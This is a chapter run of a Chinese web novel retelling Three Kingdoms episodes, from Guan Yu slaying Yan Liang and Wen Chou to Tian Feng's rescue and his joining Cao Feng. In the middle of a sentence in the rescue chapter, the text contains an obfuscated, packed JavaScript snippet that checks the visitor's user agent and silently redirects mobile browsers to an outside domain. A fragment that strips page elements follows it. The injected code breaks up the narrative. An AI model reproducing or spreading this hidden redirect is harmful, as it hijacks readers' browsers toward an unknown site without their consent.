【山下,夏侯渊见连折两将,主动请缨出战。】 【他与颜良交手二十余回合,渐渐不敌,肩头被划开一道口子,鲜血染红了战袍。】 【张辽见状,立即纵马提枪前来救援。】 【张辽与颜良大战五十多个回合,刀光戟影,尘土飞扬,看得两军将士都屏住了呼吸。】 【最终不分胜负,确是曹操担心张辽有闪失,连忙鸣金收兵。】 【颜良放声嘲笑曹操:“一群酒囊饭袋,也敢与袁公为敌!我看你们还是早点投降,免得白白送命!”】 【曹操看着颜良嚣张的样子,气得胡子都在发抖,咬牙切齿地带着众将回到营帐。】 【营帐内鸦雀无声,所有人都脸上无光,颜良今天狠狠地挫败了曹军的锐气。】 【这时,程昱出列向曹操拱手道:“主公,关羽、张飞皆万人敌,可派关羽出战颜良。”】 【曹操摸着胡须,显得很犹豫:“云长曾经说过,如果有机会报答了我的恩情,就会离我而去。我实在舍不得放云长走啊!”】 程昱一阵无语,心想:曹操这也想要,那也想要,天下好事哪能都让你占了?那就找你的郭奉孝给你出主意吧。反正他说什么你都会信。 【就在这时,曹操果然看向郭嘉:“奉孝,可有计策斩杀颜良?”】 【郭嘉似乎早就想好了对策,立刻回答道:“仲德的建议可行。明公可以把关将军请来,先试探他的口风,再做决定也不迟。”】 【接着,郭嘉凑到曹操耳边,低声说了几句话,告诉曹操该如何试探关羽的口风。】 【曹操听完,脸上阴霾一扫而空,大笑道:“奉孝所言,深得我心。我亲自去请云长。”】 【曹操带着郭嘉、张辽等心腹将领亲自去关羽的营帐拜访。】 【关羽正在帐中擦拭他的青龙偃月刀,见曹操亲自来访,连忙起身相迎。两人寒暄几句后,曹操才进入正题:“云长,今天你也在阵中,看那颜良如何?”】 【关羽半眯着眼睛,缓缓捋着长须,沉思片刻道:“以关某之见,那颜良不过是插标卖首之徒。一刀便可斩之。”】 【这话一出,曹操身后的众将顿时炸开了锅。】 【夏侯渊第一个跳出来,指着关羽怒道:“关云长,你别站着说话不腰疼!你有本事,你清高,你现在就去一刀砍了颜良啊!”】 【其他将领也纷纷附和,帐内一片嘈杂。】 这也难怪,他们刚刚都败在颜良手下,关羽却说颜良不堪一击,这不是在打他们的脸吗? 【关羽面对众人的指责,丝毫不为所动,依旧保持着那副高傲的神情。他冷冷地扫视了一遍曹操身后的众将,“颜良这种匹夫,还不值得关某动用青龙偃月刀。”关羽缓缓道,“我为明公推荐一人,可斩杀颜良!”】 曹操闻言大喜。 这样一来,关羽没有亲自出手斩杀颜良,就不算报答他的恩情。同时,颜良又能被斩杀了! 这简直是两全其美的好事! 【曹操连忙问道:“云长,谁可以斩杀颜良?快请说来!”】 【夏侯渊冷哼一声:“还用问吗?肯定是他三弟张翼德!张翼德又不在这里,说了等于没说。我看他就是怕了颜良,故意推脱!”】 【曹操装作不高兴地呵斥道:“妙才,不可对云长如此无礼。”】 【关羽也不生气,仿佛不屑与夏侯渊争辩。他转向曹操,一字一顿地说:“明公帐下有一员小将名叫曹脩。此人可斩颜良。”】 【“曹休?!”不仅曹操一愣,他身后的其他将领也都懵了,面面相觑,不敢相信自己的耳朵。】 曹休虽然武艺不错,在年轻一辈中算是佼佼者,但比夏侯渊和张辽都差很多。他真能斩杀连张辽都拿不下的颜良? 【曹操很疑惑,又确认了一遍:“云长,你说的可是曹休?”】 【关羽很肯定地点点头:“正是曹脩。此人十回合内,可斩颜良!”】 【曹操这才转忧为喜,大笑着向关羽道谢,然后带着众人告辞。一出营帐,曹操就迫不及待地吩咐亲兵:“快去把曹休找来!不,还是我亲自去找他吧。”】 一路上,曹操越想越高兴。他是这么想的:曹休的武艺能得到高傲的关羽认可,肯定有过人之处,只是大家还没发现。说不定这孩子平时藏拙,关键时刻才显露真本事。 曹休早年丧父,在天下大乱时被曹操收留。曹操待他如亲生儿子一般。 【曹操一边走,一边高兴地对众人说:“我原本以为文烈是我家的千里驹,现在看来是万里驹啊!云长何等人物,能得他如此评价,文烈前途不可限量!”】 【程昱跟在后面,眉头紧锁。】 他心思细腻,总觉得哪里不对劲。 明公也不问问关羽说的这个曹休是哪个曹休?这个曹休字什么?别搞错了人,那可就闹大笑话了。 但转念一想,程昱又摇了摇头。 这事已经定了,他再多说什么反而显得多事。曹操爱怎样就怎样吧,反正出了差错也是关羽的责任。 第181章 关羽:我推荐的是曹脩,不是曹休! 【夏侯惇悄悄拉过还在愤愤不平的夏侯渊,低声问:“妙才,文烈是我们看着长大的,他真有这本事?我怎么不知道?”】 【夏侯渊气哼哼地说:“谁知道呢!说不定是文烈哪里得罪了这个红脸大汉,被借刀杀人了。”】 【“啊?!”夏侯惇瞪大独眼,“那可怎么办。我们得劝劝主公。文烈毕竟是自家子侄,不能眼睁睁看着他送死。”】 【夏侯渊梗着脖子说:“劝?怎么劝?孟德现在只信关羽。你没看他高兴成那样?”】 【夏侯惇叹了口气。】 决定一会儿私下问问曹休,是不是得罪过关羽。如果真有这事,说什么也得想办法阻止曹休迎战颜良。 此时的曹休正在校场操练士兵,听说曹操亲自带着众将来找他,又惊又喜,连忙整理衣甲出迎。 【“末将参见明公!”曹休恭敬地行礼,“明公何必亲自来?有事派人传唤末将便是。”】 曹操的热情让曹休不知所措。 【只见曹操大笑着走过来,用力拍着他的肩膀:“文烈啊!好小子!藏得够深的!”】 【曹休一头雾水:“明公此话何意?末将不明白。”】 【曹操开怀大笑:“没想到你的武艺竟然能得到云长的青睐!我真为你感到高兴!云长何等人物,能得他如此评价,你小子前途无量啊!”】 曹休更糊涂了,他和关羽素不相识,连话都没说过几句。关羽那高傲的性格,尤其对武艺要求极高,怎么可能青睐自己? 【明公,这……这是什么意思?”曹休结结巴巴地问。】 【曹操又拍着曹休的肩膀说:“云长说了,你的武艺,可以斩杀颜良!十回合内必取颜良首级!”】 【曹休听到这话,如遭雷击,整个人都僵住了。他张大了嘴,却说不出话来,脑子里一片空白。】 什么? 谁能斩杀颜良? 曹休今天在阵前也观看了颜良与曹军众将的单挑。 夏侯渊和张辽都杀不了颜良,还指望我来杀?这不是开玩笑吗? 【过了好一会儿,曹休不敢置信的再次确认:“明公,您说谁能斩杀颜良?”】 【“你啊!”曹操眼中满是期待和骄傲,“文烈,你就不用这么谦虚。想必你一定有武艺过人之处,被云长发现了。我早就看出你小子不简单!”】 【曹操又用力拍了拍曹休的肩膀:“我相信你!”】 曹休心里叫苦不迭:“我看您是相信关羽,不是相信我。我能斩杀颜良?说出来我自己都不信!这到底是怎么回事?” 【夏侯惇趁机凑过来,悄悄问曹休:“文烈,你和关羽有什么过节吗?”】 【曹休急得直摇头:“没有啊!我都没和他说过几句话,哪来的过节?”】 【曹操正在兴头上,豪气干云地一挥手:“来人!去下战书!让颜良出来受死!”】 一个时辰后,两军再次对垒。 【颜良显得很不耐烦,在阵前来回踱马:“曹孟德,你手下都是我的手下败将,还有什么有能耐的人,快点派出来!我可没那么多闲工夫陪你们玩!”】 【曹操催马向前,用马鞭指着颜良,自信地大笑:“颜良匹夫,今天就是你的死期!我有上将曹休,定能斩你!”】 曹休在众目睽睽之下出阵,整个人都是懵的。 他机械地握着长枪,感觉像是在做一场噩梦。身后的曹军将士发出震天的呐喊声为他助威,但这声音听在他耳中却如同催命符一般。 这时,曹操身边的关羽微微皱眉,心中不解:“曹操在搞什么鬼啊?这不是我说的曹脩啊。” 山上的曹脩,望着山下的曹休,也是微微一愣,随即忍不住笑出声来:“曹操这是搞什么鬼?上将曹休,可斩颜良?他以为是我这个曹脩呢?”】 【只见曹休与颜良交手不到五个回合,就被颜良打得节节败退,长枪都差点脱手。】 【颜良越战越勇,大刀如狂风暴雨般劈下,曹休勉强招架了几下,终于支撑不住,调转马头就往本阵逃去。】 【“呜呜呜,关云长为何要害我?!”曹休一边逃命一边小声哭诉,“我哪里得罪你了,要这样捧杀我?”】 【颜良在后面穷追不舍,大笑道:“哈哈哈!就这?曹孟德,这就是你的上将?连给我提鞋都不配!”】 【眼看曹休就要命丧刀下,夏侯渊连忙张弓搭箭,连射三箭,这才拖住颜良,给曹休创造了逃命的机会。】 【颜良挥刀格挡箭矢,大骂夏侯渊卑鄙,放冷箭伤人。随后,颜良调转马头,回到自己阵中的麾盖之下休息。】 【曹操此时尴尬至极,脸上的笑容僵住了,胡子气得直抖。他没想到这么快就被打脸,而且还是当着两军将士的面。他十分不解地看向关羽,眼中满是疑问。】 【关羽叹了口气,摇头道:“我推荐的是曹脩(xiu),不是曹休!你是子脩的那个脩!”】 【说罢,他不再多言,提起青龙偃月刀,翻身上了赤兔马。】 【关羽的赤兔马速度极快,如一道红色闪电冲出本阵。袁军还没反应过来,他已经突破前阵,直奔颜良而去。】 【颜良正在喝水休息,见关羽冲来,轻笑道:“又是哪个废物,连规矩都不懂。你是何……” 【他话还没说完,关羽的青龙偃月刀已经带着呼啸的风声劈下。颜良仓促举刀格挡,却见关羽刀势一变,由劈变削,刀锋划过一道优美的弧线。】 【颜良只觉得脖子一凉,然后就看到自己的身体还坐在马上,而自己的头已经飞在了空中。他最后的意识是:好快的刀……】 关羽一刀斩下颜良首级,整个过程行云流水。 【随后,关羽将颜良的首级挂在马鞍上,从容不迫地撤回本阵。赤兔马所过之处,袁军将士纷纷避让,无人敢拦。】 【这一切发生得太突然,两军将士都惊呆了,战场上出现了短暂的寂静。然后曹军爆发出震天的欢呼声,而袁军则士气崩溃,开始溃逃。】 【山上的曹风拍手叫好:“好一个快人快马,快刀!这才是真正的万人敌!”】 第182章 刘备:我的天塌了! 天幕画面来到袁绍阵营。 【袁绍坐在大帐之中,脸上带着自信的笑容。】 【他对自己的爱将颜良充满信任,尽管谋士沮授多次劝阻说“颜良性格急躁,心胸狭窄,不能独当一面”,但袁绍仍然坚持派颜良率军攻打白马。】 【此时,袁绍正与刘备谈笑风生,两人聊得兴起。忽然,帐外传来一阵急促的脚步声,打断了他们的谈话。】 【袁绍眼睛一亮,大笑着对刘备说:“肯定是捷报!颜良将军一定已经拿下白马了!我就说么,对付曹操这个小跟班,哪还用得着我亲自出马!”】 【然而,当传令兵慌慌张张地冲进大帐时,袁绍的笑容瞬间凝固了。】 【传令兵脸色苍白,眼神惊恐,结结巴巴地报告道:“主公,颜良将军在白马连斩曹操数名将领,可是……可是……”】 【他说到这里,犹豫地看了一眼刘备,似乎不敢继续往下说。】 【袁绍不耐烦地催促道:“可是什么?快说!”】 【传令兵咽了咽口水,终于颤抖着说道:“颜良将军……被关羽斩杀了!”】 【“什么?!”袁绍猛地从座位上站了起来,脸色瞬间变得铁青。他瞪大眼睛,不敢相信自己听到的消息。】 【短暂的震惊过后,袁绍的怒火瞬间爆发。他猛地转头,死死盯着刘备,厉声喝道:“刘玄德!我好心收留你,你二弟却杀了我爱将颜良!你今日必须给我一个交代!”】 【刘备还没开口,沮授已经抢先一步站出来,冷冷地说道:“主公,关羽斩杀颜良,足以证明刘备与曹操暗中勾结!请主公立即处死刘备,以绝后患!”】 【袁绍本就生性多疑,加上刚刚吃了败仗,心中怒火难消,立刻把气撒在刘备身上。他大手一挥,怒喝道:“来人!把刘备拖出去,斩了!”】 【刘备心中一惊,但面上仍然保持镇定。】 【他连忙拱手辩解道:“明公,天下相貌相似之人何其多,难道红脸长须的就一定是关羽吗?还请明公明察!”】 【袁绍听完,又犹豫了起来。他皱着眉头,狐疑地盯着刘备,一时拿不定主意。】 【沮授见袁绍动摇,立刻上前一步,再次劝道:“主公,刘备狡诈,不可轻信!若不杀他,日后必成大患!”】 【刘备见沮授步步紧逼,心中暗恨,但表面上仍然装作无辜的样子。他提高声音,义正词严地说道:“沮授!你为何一再挑拨我与明公的关系?曹操曾攻我徐州,我与曹贼有不共戴天之仇,怎么可能与他勾结?”】 【说完,他又转向袁绍,语气诚恳地说道:“明公,我与云长乃是结义兄弟,当初立誓‘不求同年同月生,但求同年同月死’。若关羽知道我在明公这里,必定会前来投奔,怎么可能帮助曹操?”】 【“这……”袁绍被刘备的话说得更加犹豫了。他来回踱步,眉头紧锁,一时不知该如何决断。】 【刘备见时机成熟,暗中向郭图使了个眼色。】 【郭图早就收了刘备的好处,再加上他与沮授、田丰等人素来不和,此时立刻站出来帮腔道:“主公,刘备所言极是!若因猜疑而错杀义士,恐怕会让天下英雄寒心啊!”】 【沮授见郭图竟然替刘备说话,顿时大怒,指着郭图骂道:“郭图!你这个奸诈小人,休要误主公大事!”】 【“够了!”袁绍被他们的争吵弄得心烦意乱,猛地一甩袖子,怒斥沮授道:“差点误听你的话,错杀好人!”】 【沮授被骂得哑口无言,只能愤愤地退到一旁。】 【就在这时,文丑闻讯赶来。】 【他与颜良情同手足,听闻颜良被杀,悲愤交加,立刻向袁绍请战:“主公!请让我率军追击曹操,为颜良将军报仇!”】 原来,曹操突袭白马的目的只是解围,并非要与袁绍决战。他知道如果继续在白马僵持,很可能会被袁绍的主力包围。因此,在斩杀颜良后,曹操立刻下令撤军,向延津方向退去。 【沮授见状,连忙上前劝阻:“主公,如今我军应当稳扎稳打,不宜贸然追击!颜良新败,曹军士气正盛,贸然出击,恐怕对我军不利啊!”】 【袁绍本来就心情烦躁,见沮授又来阻拦,顿时勃然大怒,指着他的鼻子骂道:“沮授!你屡次扰乱军心,若再敢阻挠,我就把你和田丰一样关进大牢!”】 【文丑也对沮授怒目而视,咬牙切齿地说道:“沮授!你敢阻拦我报仇,我先杀了你!”】 【沮授见袁绍和文丑都听不进劝告,只能无奈地闭上嘴,心中暗叹:“完了,这下全完了,此战必败!”】 【袁绍不再理会沮授,大手一挥,下令道:“文丑听令!命你率本部兵马,立刻追击曹操!”】 【刘备见状,也站出来主动请战:“明公,刘备愿随文丑将军一同出征,以表忠心!”】 【他嘴上这么说,心里却另有打算——他需要积累战功,赢得袁绍的信任,同时寻找机会脱离袁绍的控制。】 【袁绍正想试探刘备的忠诚,便欣然同意:“好!玄德既然有此心,便随文丑一同出战!”】 ………… 【曹操在撤退途中,得知文丑率军追击,立刻召集谋士商议对策。荀攸献上一计:“主公,文丑勇猛但贪功冒进,不如设下‘饵敌之计’,丢弃粮草辎重,引诱敌军抢夺,待其阵型大乱时,再回军反击!”】 【曹操点头赞同,立即下令士兵沿途丢弃粮草、军械,制造溃逃的假象。果然,文丑的部队看到曹军丢弃的物资,纷纷争抢,阵型瞬间大乱。】 【就在此时,曹操突然下令全军调头,张辽和关羽率领精锐骑兵直冲文丑军阵。文丑大惊,急忙喝令士兵重整队形,但为时已晚。关羽单骑冲阵,直奔文丑而来。】 【两人交手不到三个回合,文丑便感到力不从心,心生惧意,拔马绕河而逃。然而,关羽的赤兔马速度极快,转眼间便追上文丑,从背后一刀斩下!】 【文丑当场毙命,袁军大乱,溃不成军……】 【刘备眼睁睁看着这一幕,只觉得天都要塌了。关羽斩的不是颜良、文丑,简直是要了他的命!】 【刘备本想趁机逃走,可袁绍早有防备,早就派人盯紧了他。】 第183章 郭图的职场准则:给钱就演,加钱反水 【黎阳,袁绍大营内一片肃杀之气。】 【中军大帐外,守卫的士兵们个个面色凝重,连大气都不敢出。】 就在半个时辰前,前线传来急报,文丑的部队被曹操击溃了。整个军营都笼罩在压抑的氛围中。 【袁绍在营帐里来回走动,沉重的脚步声在帐篷里回荡。他平时骄傲的脸上现在因为愤怒而变得扭曲。突然,他猛地停下脚步,一挥手把桌案上的竹简全都扫到了地上。】 【“怎么会又败了!”】 【“报——!”一名传令兵慌慌张张地冲进大帐,跪倒在地时甚至因为太过紧张险些摔倒,“启禀主公,前线再传来军报……”】 【袁绍双目赤红,厉声喝道:“说!”】 【“文丑将军在白马坡遭遇关羽,不敌……被斩于马下……”传令兵的声音越来越小,最后几乎变成了耳语。】 【紧接着,灰头土脸的刘备也被人押解进来。】 【袁绍整个人僵在原地,脸色瞬间变得惨白。】 【袁绍猛地瞪圆双眼,额头上青筋一根根暴起。他握着剑的手因为太过用力而微微发抖,冰凉的剑刃已经贴在了刘备的脖子上。】 【“你这大耳贼,你又害我一员上将!”】 【帐内众谋士见状,神情各异。】 【许攸捋着胡须的手停在半空,沮授对刘备怒目而视,逢纪的眉头紧锁,审配则悄悄退后半步。只有郭图眼珠一转,似乎在盘算什么。】 【刘备见状连忙拱手:“明公请听我一言!”】 【袁绍咬牙切齿地说:“你还有什么好说的?颜良、文丑,我两员大将都折在你二弟手上!”】 【刘备却面不改色,缓缓说道:“明公息怒。我二弟关云长能连斩颜良、文丑,正说明他的武艺远在这二人之上。”】 【“此等猛将,天下罕有。不如这样,我即刻修书一封,召他来投奔明公。若能得到云长效力,明公何愁不能弥补损失?”】 【这时,站在一旁的郭图眼珠一转,立刻上前帮腔:“主公,玄德公所言极是。若能得关云长相助,莫说弥补损失,就是横扫曹操也不在话下啊!”】 【袁绍的怒气这才渐渐平息,他慢慢收回长剑,脸上浮现出笑容,眼角的皱纹舒展开来:“玄德此言有理。”】 【他转头对侍从喝道:“来人,准备笔墨绢帛!”】 【然后又盯着刘备,“你现在就写,我要亲眼看着你写。”】 【刘备不敢怠慢,立刻在案前坐下,提笔蘸墨。】 【信写好后,袁绍亲自检查了一遍,这才满意地点头,脸上的怒容完全消散:“好,很好。玄德啊,你且回去休息吧。”】 【他拍了拍刘备的肩膀,仿佛刚才拔剑相向的事情从未发生过。】 【走出营帐,刘备长舒一口气,背后的衣衫已经被冷汗浸湿。回头看了眼跟在身后的郭图,他拱手道:“方才多谢郭先生出言相助,备感激不尽。”】 【郭图连眼皮都没抬一下,只是用袖子掩着嘴,压低声音说:“玄德公,别忘了你答应的事。酬金……”】 【刘备立即会意,赔笑道:“郭先生放心,我这就派人将谢礼送到您帐中。”】 【听到这话,郭图脸上才露出满意的笑容。他整了整衣袖,头也不回地走了。】 【郭图回到自己的军帐,刚掀开帐帘,就被黑暗中突然响起的声音吓了一跳。】 【“郭先生,别来无恙啊?”】 【郭图定睛一看,认出了那个站在阴影中的人影。】 【正是曾经与他合作设计陷害麴义的神秘人。】 【认出对方后,郭图脸上的警惕立刻消失,换上了最热情的笑容,连眼角的皱纹都舒展开来。】 不是他见钱眼开,实在是上次合作后对方给的报酬太过丰厚,整整二十箱金银珠宝,让他至今难忘。 【“哎呀呀,这不是老朋友吗?”郭图搓着手迎上去,“自上次分别后,我可一直盼着您再来呢。”】 【郭图亲手倒了杯凉茶递过去,问道:“这次过来,是不是又有什么好买卖要谈?”】 【魍从袖中取出一个精致的锦盒,轻轻放在案几上。】 【那盒子用上好的紫檀木制成,表面雕刻着精美的云纹。】 【郭图迫不及待的打开盒子。】 【里面躺着一枚通体雪白的羊脂白玉扳指,内侧还刻着“富贵长春”四个小字。】 【魍解释道:“这是我家公子送给先生的见面礼。”】 【郭图小心翼翼地拿起扳指,对着灯光仔细端详,眼中闪烁着贪婪的光芒。】 【“这……这可是上好的和田玉啊!看这成色,这雕工……”他爱不释手地把玩着扳指,“你家公子太客气了。”】 【郭图抬头问道,“说吧,这次需要我做什么?”】 【魍压低声音:“我家公子想要一个人——田丰,田元皓。”】 【郭图的手突然一顿,警惕地抬起头:“田元皓?你们公子和他有仇?”】 【他放下扳指,声音也变得谨慎起来,“田丰现在虽然被关在大牢里,但他在袁公心中的地位可不一般。”】 确实,田丰在袁绍军中的地位非同小可。 田丰因为直言进谏惹怒了袁绍,被关进大牢。但袁绍始终没舍得杀他,只想着等打败曹操后,再好好羞辱田丰一番,然后放了他。 想要从袁绍手中弄出田丰,难度可比当初陷害麴义大得多。 【魍神秘一笑,眼角微微上扬:“这个我就不清楚了。不过这次,我家公子想和袁绍做笔交易,希望郭先生能从中牵线搭桥。”】 【说着,魍从怀中取出一本装帧精美的书籍,轻轻放在案几上。】 【“用这个换田丰。”】 【“书?”郭图起初不以为意,但当看清封面上的烫金大字时,他猛地瞪大眼睛,失声叫道:“《唐诗宋词集》?还是典藏版?!”】 近年来,《唐诗宋词集》在勋贵圈中风靡一时。曹风这一手,简直是把后世的“饥饿营销”和“奢侈品炒作”玩到了极致。 即便是不通文墨的武夫,也要弄上一本充门面,以彰显自己身份地位。特别是限量发行的典藏版,每年仅出五本,其中收录的诗词比普通版多出数十首。 但勋贵们看重的并不是多出的那些诗词,而是这种独一无二的收藏价值,和身份象征。 袁绍这人最爱面子,为了得到典藏版《唐诗宋词集》,他派人四处搜寻,甚至不惜重金悬赏,甚至还承诺封大官,可到头来还是没能得手。 【郭图眼珠一转,立刻拍胸脯保证:“这事包在我身上!”】 【但他随即又露出为难的表情,右手拇指和食指轻轻搓动,“不过么……”】 【魍会意一笑:“郭先生放心,我家公子愿意支付与上次同等分量的报酬。”】 【“成交!”郭图兴奋地一拍桌子,脸上的皱纹都笑开了花。】 第184章 田丰救出来了 【邺城大牢最里头的牢房潮湿阴冷,空气中弥漫着一股霉烂的酸臭味。】 【曾经那个衣冠楚楚、气宇轩昂的田丰已经不见了踪影。】 【如今的他坐在牢房角落的草堆上,满头白发凌乱如草,身上的囚衣破了好几个大洞,露出里面瘦骨嶙峋的身体。】 【长期的监禁生活让他原本红润的面容变得苍白憔悴,只有那双眼睛依然炯炯有神。】 因为得罪了袁绍,田丰在狱中受尽折磨。 【此刻他正仰头望着高处那扇小小的木窗。】 【透过栏杆可以看到一小片蓝天。】 【几片枯黄的树叶偶尔随风飘过,让他想起了自己如同这落叶般的命运。】 【“田大人……”一个狱卒鬼鬼祟祟地摸了过来。】 【他蹲下身,压低声音兴奋地说:“果然如您所料,袁公在前线吃了败仗!颜良和文丑将军都战**!等袁公回来,一定会重新重用您的!”】 这个狱卒曾受过田丰的恩惠。 当年他母亲病重,是田丰出钱请来了邺城最好的大夫。虽然表面上不敢优待田丰,但暗地里经常给他送些食物,还会透露一些外面的消息。 【出乎狱卒意料的是,田丰非但没有露出喜色,反而更加忧心忡忡了。】 【田丰长叹一声,声音沙哑:“你不了解袁公。他外表宽厚,内心却极其记仇。若是他得胜归来,或许会赦免我。如今大败而回,我必死无疑。”】 【话音未落,大牢门口突然传来杂乱的脚步声和铁器碰撞的声音。】 【狱卒脸色一变,赶紧装作与田丰不熟的样子退到一边,假装在整理刑具。】 【狱丞带着几名全副武装的士兵大步走来。】 【站在牢门外,狱丞冷声道:“田大人,该上路了。”】 【田丰平静地站起身,拍了拍身上的草屑,整了整破烂的衣衫。】 他早已料到这一天,此刻反而有种解脱的感觉。 【士兵们给他蒙上黑布,然后押着他走出大牢。】 【令田丰意外的是,袁绍并没有立即处决他,而是将他关进一辆特制的囚车。】 【随着车夫一声吆喝,囚车缓缓启动,朝着城外驶去。】 【囚车颠簸了整整一天。】 【傍晚时分,囚车突然停了下来。】 【田丰听到外面传来一阵打斗声、金属碰撞声和惨叫声,持续了约莫半炷香时间,随后归于寂静。】 【突然,囚车门被打开,有人解开了他的眼罩。】 【借着月光,田丰看见一位身披华贵铠甲的将军站在跟前,手里那杆丈八**正往下滴着血。】 【田丰拱手,声音因长期缺水而嘶哑:“敢问将军尊姓大名?为何要救在下?”】 【那将军昂首挺胸,铠甲在月光下泛着冷光:“我是北地枪王!张绣!”】 他的声音中带着掩不住的骄傲。 【这时,阴影处传来一个阴恻恻的声音:“张绣,别显摆了。赶紧带他去见公子,晚了又要连累我挨骂。”】 【田丰循声望去,惊讶地发现说话之人竟是贾诩贾文和。】 【就在田丰惊疑不定时,前方山路上突然亮起无数火把,如同一条火龙蜿蜒而上,将整座山照得如同白昼。】 【火光映照下,田丰眯起眼睛,觉得这座山似曾相识。】 【忽然,山腰处传来悠扬的琴声,那熟悉的旋律让他浑身一震。是《笑傲江湖》!】 多年前他初次出山投奔袁绍时候,曾在这座山上遇到一位少年公子,对方弹奏的正是这首曲子! 【这时,一个魁梧的身影出现在田丰面前,正是手持开山大斧的徐晃。】 【“田先生,十几年没见了,别来无恙啊?”徐晃爽朗一笑,“山水有相逢,我家公子特意来赴约了。”】 【他做了个请的手势,“还是那条老路,请吧。”】 【听着熟悉的琴声,田丰突然放声大笑。】 【笑着笑着,眼泪夺眶而出,顺着他布满皱纹的脸颊滚落。】 这泪水包含太多情感: 有对当年意气风发的怀念; 有在袁绍麾下郁郁不得志的悲凉; 有劫后余生的庆幸; 更有老友重逢的喜悦! 【看着漫山遍野的火把,田丰知道,当年那位少年公子如今已成气候。算算时间,对方应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869438|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该已经及冠了。】 他忽然想起当年那位公子说过的一句豪言壮语:“待我及冠,气吞山河!” 田丰同时心中一震:这可是袁绍的地盘,眼下曹袁正在交战,曹风居然敢如此大张旗鼓地现身,当真好胆识!好气魄! 【田丰用袖子擦了擦眼泪,高声喊道:“想到当年的赌约,却是田丰输了!公子所言,句句应验,真乃神人也!”】 【说完,他挺直腰板,大步向山上走去,心中暗自发誓:“若公子不弃,田丰必以性命相报!”】 【来到山腰平台,琴声恰到好处地戛然而止。】 【还是那个位置,还是那张古琴,只是……】 【当年那个少年已经长大成人。】 【一袭白衣的公子端坐琴前,俊朗的面容棱角分明,剑眉星目。】 【田丰觉得他的眉眼有些眼熟,却一时想不起像谁。】 【唯一不变的,是公子那双清澈有神的眼睛,如同当年一样闪烁着智慧的光芒。】 【与当年不同的是,如今公子身边不再只有徐晃一人。】 【他身后站着数位威风凛凛的将领,个个身材魁梧,气势非凡,看上去比颜良、文丑还要勇猛。】 【这些将领在公子面前显得十分放松,有说有笑,只有一个面容冷峻的将领始终沉默不语。在场的众人中,要数他的装备最精良。】 【曹风抬手示意众人安静。】 这次深入敌后救人风险极大,他特意将从塞外调回的亲信将领都带在身边以防万一。 【“田先生,请坐。”曹风指了指对面的席位。】 【田丰低头看了看自己褴褛的衣衫和满身污垢,苦笑道:“田某这副模样,恐怕会玷污了公子的雅座。”】 【曹风却起身亲自将田丰按在座位上,温和地说:“人不过是一副皮囊,我看重的是先生刚正不阿的品格。”】 【他坐回原位,直视田丰的眼睛,“既然与先生重逢,也是缘分。实不相瞒,我是曹风。”】 【“曹风?”田丰先是一愣,随即瞪大眼睛,“莫非是曹孟德的三公子?”】 【曹风摇摇头,语气平淡:“他不配做我爹。”】 第185章 曹风麾下人才图鉴:毒舌的、下毒的、放冷箭的…… 【曹风目光如炬地注视着田丰:“田先生,如今天下大乱,百姓流离失所,不知先生可愿助我一臂之力,平定这乱世?”】 【田丰听了,立刻整理好衣冠,双手抱拳,认真回答道:“当年我与公子在此立下的赌约,是我输了。承蒙公子不嫌弃,田丰虽然才能有限,但愿意尽心效力。”】 【说完这句话,他的表情又变得有些迟疑,眉头微皱:“只是这次牢狱之灾,让田某更加明白自己性格过于刚直,恐怕日后……”】 【“哈哈哈哈哈!”曹风爽朗大笑,转身指向身后那群形态各异的将领,“先生多虑了。你看看这些人,哪个不是让我头疼得要命的主儿?”】 【他先是指了指坐在地上狼吞虎咽的两个壮汉:“许褚和王双这两个莽夫,上次把来使给打了。我怕那使者回去告状,就自己动手解决了麻烦——直接抹了他的脖子。”】 【接着指向一个正在专注擦拭弓箭的将领。“曹性这小子,见到用箭的高手,就想比试箭术。对方若是不答应,他居然会躲在暗处放冷箭,非得逼人家出手不可。”】 【“我帐下还有个整天摆弄**的谋士,今日没跟来。”曹风摇摇头,脸上露出无奈又好笑的表情,“另外还有个嘴巴比刀子还能割人的大将,现在正在塞外驻守。”】 【最后,他的手指向那个始终沉默不语的将领。“这是高顺,我觉得他的性格和先生很相似,都是认死理的性子。”】 【曹风转回身,拍了拍田丰的肩膀:“所以先生完全不必担心,相比之下,您这脾气真不算什么。我这些手下,哪个不是一身毛病?但只要用其所长,都是难得的人才。”】 【田丰听完这番话,深吸一口气,郑重地行了一个大礼:“公子如此信任,田丰定当竭尽全力,辅佐公子成就大业!”】 天幕渐暗,场景转换…… 【北方战云密布,袁绍与曹操的决战一触即发。 【隐居多年的枪神童渊站在自家小院中,望着南边天际的乌云,长叹一声:“乱世将至,此地也不得安宁了。”】 【三日后,童渊收拾好简单的行装,准备迁往更偏远的山区。就在他即将启程时,多年未见的师弟韩琼突然登门拜访。】 【“师兄别来无恙啊!”韩琼大步走进院子,身上的金丝铠甲在阳光下闪闪发光。他虽然年过六旬,但腰板挺直,精神矍铄,手中那柄金刀更是寒光凛凛。】 【童渊放下行李,苦笑道:“师弟突然造访,想必是为袁本初当说客来了?”】 【韩琼也不拐弯抹角:“师兄明鉴。如今袁公与曹操决战在即,颜良、文丑两位将军不幸战死,军中急需大将坐镇。”】 【“袁公久闻师兄‘北地枪神''威名,特命小弟前来相邀。若是师兄肯出山,高官厚禄不在话下。”】 【童渊连连摇头,抚摸着自己花白的胡须:“师弟啊,为兄年事已高,早已不问世事。这乱世纷争,还是交给你们年轻人去折腾吧。我劝你也别淌这浑水。”】 【韩琼再三劝说,童渊始终不为所动。】 【最后韩琼只得放弃:“既然如此,小弟也不勉强。只是袁公军中事务繁忙,小弟这就告辞了。”】 【韩琼推开童渊家的木门准备离开,突然听到一声暴喝:“偷袭!看枪!”】 【一杆银枪如毒蛇吐信,直刺韩琼腰间。】 【韩琼不愧是久经沙场的老将,金刀瞬间“铛”的一声格开**。还没等他看清偷袭者,那杆枪又如游龙般再次袭来,这次直取咽喉。】 【韩琼连忙侧身闪避,同时快步迈出院落,来到开阔处。】 【这时他才看清偷袭者是个二十出头的年轻男子,剑眉星目,手持一杆银枪,正诧异地看着自己。】 